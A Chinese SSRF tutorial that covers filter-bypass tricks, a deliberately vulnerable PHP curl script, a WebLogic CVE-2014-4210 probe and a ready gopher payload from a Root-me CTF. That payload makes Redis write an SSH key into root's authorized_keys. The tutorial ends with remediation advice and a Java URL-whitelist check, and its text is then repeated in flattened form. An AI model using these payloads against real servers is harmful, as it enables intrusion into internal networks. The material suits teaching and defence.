[红日安全]Web安全Day4 - SSRF实战攻防
字数 1440 2025-08-25 22:58:20

SSRF漏洞实战攻防详解

1. SSRF漏洞概述

1.1 漏洞简介

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种利用漏洞伪造服务器端发起请求的攻击方式。攻击者可以诱使服务器向攻击者指定的内部系统发起请求,从而绕过网络边界防护。

1.2 漏洞原理

通过控制功能中的发起请求的服务来当作跳板攻击内网中其他服务。例如,通过控制前台的请求远程地址加载的响应,将请求数据由远程URL域名修改为请求本地或内网的IP地址及服务。

1.3 漏洞危害

  • 扫描内网开放服务
  • 向内部任意主机的任意端口发送payload攻击内网服务
  • DOS攻击(请求大文件,保持长连接)
  • 攻击内网的web应用(如SQL注入、XSS等)
  • 利用file、gopher、dict等协议读取本地文件、执行命令

2. 漏洞检测与绕过技术

2.1 漏洞检测方法

典型漏洞场景:某网站有在线加载远程图片功能,如:

http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg

可尝试修改为:

http://www.xxx.com/image.php?image=http://127.0.0.1:22

若返回端口banner信息,则可能存在SSRF漏洞。

2.2 常见漏洞出现点

  1. 分享功能:通过URL地址分享文章
  2. 图片加载与下载:通过URL地址加载或下载图片
  3. 收藏功能:文章或图片收藏功能
  4. 关键字查找:share、wapurl、link、src、source、target、u、3g、display、sourceURI、imageURL、domain等

2.3 绕过技术

  1. 域名限制绕过

    • 使用HTTP基本认证:http://www.xxx.com@www.xxc.com
    • 不同解析函数差异:http://www.aaa.com@www.bbb.com@www.ccc.com
  2. IP限制绕过

    • 短网址服务(如百度短地址)
    • xip.io服务:127.0.0.1.xip.io
    • 进制转换:
      • 八进制:0177.0.0.1
      • 十六进制:0x7f.0.0.1
      • 十进制:2130706433
  3. 协议限制绕过

    • 使用302跳转
    • 使用短地址服务生成302跳转

3. 测试方法与实战演示

3.1 基础测试环境

  • PHP脚本测试环境
  • 利用工具:bash、nc

3.2 测试过程

  1. 创建PHP服务端脚本:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
  1. 使用nc监听端口:
nc -lvnp 2233
  1. 测试请求:
http://localhost/ssrf.php?url=http://127.0.0.1:2233
  1. 使用gopher协议测试:
http://localhost/ssrf.php?url=gopher://127.0.0.1:2233/_test

3.3 Rootme CTF实战演示

  1. 环境:Rootme CTF all the day

  2. 攻击流程:

    • 探测内网开放端口(发现6379 Redis服务)
    • 利用SSRF攻击Redis未授权访问
    • 两种攻击方式:
      • 写入SSH密钥
      • 写入定时任务反弹shell
  3. Redis攻击payload示例:

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2E...%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

3.4 Weblogic SSRF漏洞(CVE-2014-4210)

  1. 漏洞影响版本:10.0.2.0, 10.3.6.0
  2. 测试方法:
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
  1. 修复方案:
    • 删除server/lib/uddiexplorer.war下的相应jsp文件
    • 安装官方补丁

4. 漏洞修复方案

4.1 通用修复建议

  1. 限制返回信息,统一错误响应
  2. 设置请求地址白名单
  3. 禁用危险协议(file://, gopher://, dict://等)
  4. 限制请求端口(如只允许80,443)

4.2 Java代码修复示例

public static Boolean UrlSecCheck(String url, String[] urlwhitelist) {
    try {
        URL u = new URL(url);
        // 只允许http和https协议
        if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
            return false;
        }
        // 获取域名并转为小写
        String host = u.getHost().toLowerCase();
        // 获取一级域名
        String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
        
        for (String whiteurl: urlwhitelist){
            if (rootDomain.equals(whiteurl)) {
                return true;
            }
        }
        return false;
    } catch (Exception e) {
        return false;
    }
}

4.3 依赖配置

需要添加Guava库用于获取一级域名:

<dependency>
    <groupId>com.google.guava</groupId>
    <artifactId>guava</artifactId>
    <version>21.0</version>
</dependency>

5. 总结

SSRF漏洞危害严重,可导致内网渗透。防御关键在于:

  1. 严格控制服务器发起的请求目标
  2. 实施严格的白名单机制
  3. 禁用不必要的协议
  4. 对返回信息进行适当过滤
  5. 定期更新和修补已知漏洞组件
SSRF漏洞实战攻防详解 1. SSRF漏洞概述 1.1 漏洞简介 SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种利用漏洞伪造服务器端发起请求的攻击方式。攻击者可以诱使服务器向攻击者指定的内部系统发起请求,从而绕过网络边界防护。 1.2 漏洞原理 通过控制功能中的发起请求的服务来当作跳板攻击内网中其他服务。例如,通过控制前台的请求远程地址加载的响应,将请求数据由远程URL域名修改为请求本地或内网的IP地址及服务。 1.3 漏洞危害 扫描内网开放服务 向内部任意主机的任意端口发送payload攻击内网服务 DOS攻击(请求大文件,保持长连接) 攻击内网的web应用(如SQL注入、XSS等) 利用file、gopher、dict等协议读取本地文件、执行命令 2. 漏洞检测与绕过技术 2.1 漏洞检测方法 典型漏洞场景:某网站有在线加载远程图片功能,如: 可尝试修改为: 若返回端口banner信息,则可能存在SSRF漏洞。 2.2 常见漏洞出现点 分享功能 :通过URL地址分享文章 图片加载与下载 :通过URL地址加载或下载图片 收藏功能 :文章或图片收藏功能 关键字查找 :share、wapurl、link、src、source、target、u、3g、display、sourceURI、imageURL、domain等 2.3 绕过技术 域名限制绕过 : 使用HTTP基本认证: http://www.xxx.com@www.xxc.com 不同解析函数差异: http://www.aaa.com@www.bbb.com@www.ccc.com IP限制绕过 : 短网址服务(如百度短地址) xip.io服务: 127.0.0.1.xip.io 进制转换: 八进制: 0177.0.0.1 十六进制: 0x7f.0.0.1 十进制: 2130706433 协议限制绕过 : 使用302跳转 使用短地址服务生成302跳转 3. 测试方法与实战演示 3.1 基础测试环境 PHP脚本测试环境 利用工具:bash、nc 3.2 测试过程 创建PHP服务端脚本: 使用nc监听端口: 测试请求: 使用gopher协议测试: 3.3 Rootme CTF实战演示 环境:Rootme CTF all the day 攻击流程: 探测内网开放端口(发现6379 Redis服务) 利用SSRF攻击Redis未授权访问 两种攻击方式: 写入SSH密钥 写入定时任务反弹shell Redis攻击payload示例: 3.4 Weblogic SSRF漏洞(CVE-2014-4210) 漏洞影响版本:10.0.2.0, 10.3.6.0 测试方法: 修复方案: 删除server/lib/uddiexplorer.war下的相应jsp文件 安装官方补丁 4. 漏洞修复方案 4.1 通用修复建议 限制返回信息,统一错误响应 设置请求地址白名单 禁用危险协议(file://, gopher://, dict://等) 限制请求端口(如只允许80,443) 4.2 Java代码修复示例 4.3 依赖配置 需要添加Guava库用于获取一级域名: 5. 总结 SSRF漏洞危害严重,可导致内网渗透。防御关键在于: 严格控制服务器发起的请求目标 实施严格的白名单机制 禁用不必要的协议 对返回信息进行适当过滤 定期更新和修补已知漏洞组件